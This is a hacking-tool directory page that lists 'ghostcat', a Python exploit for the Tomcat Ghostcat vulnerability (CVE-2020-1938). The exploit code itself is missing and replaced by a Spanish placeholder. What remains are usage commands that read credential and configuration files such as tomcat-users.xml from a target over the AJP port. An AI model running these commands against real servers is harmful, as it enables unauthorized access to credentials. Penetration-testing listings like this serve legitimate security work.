Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ghostcat — Python exploit for CVE-2020-1938 (Ghostcat) that reads arbitrary files from Apache Tomcat servers via the AJP connector on port 8009, including configuration and credential files. | Kitploit
Tools/GitHubGitHub/cyberguardsec101-sketch/ghostcat
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcyberguardsec101-sketch/ghostcat

ghostcat

Python exploit for CVE-2020-1938 (Ghostcat) that reads arbitrary files from Apache Tomcat servers via the AJP connector on port 8009, including configuration and credential files.

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Ghostcat - CVE-2020-1938 Exploit Read Tomcat files via AJP connector (port 8009) Usage: python3 ghostcat.py [file] """

Save the script

cat > ghostcat.py << 'PYEOF' [AQUÍ VA EL CÓDIGO COMPLETO DE ARRIBA] PYEOF

Set permissions and run

chmod +x ghostcat.py

Read tomcat-users.xml (Tomcat Manager credentials)

python3 ghostcat.py ejemplo.com conf/tomcat-users.xml 8009

Read WEB-INF/web.xml

python3 ghostcat.py ejemplo.com WEB-INF/web.xml 8009

Read server.xml (full configuration)

python3 ghostcat.py ejemplo.com conf/server.xml 8009

Download Tool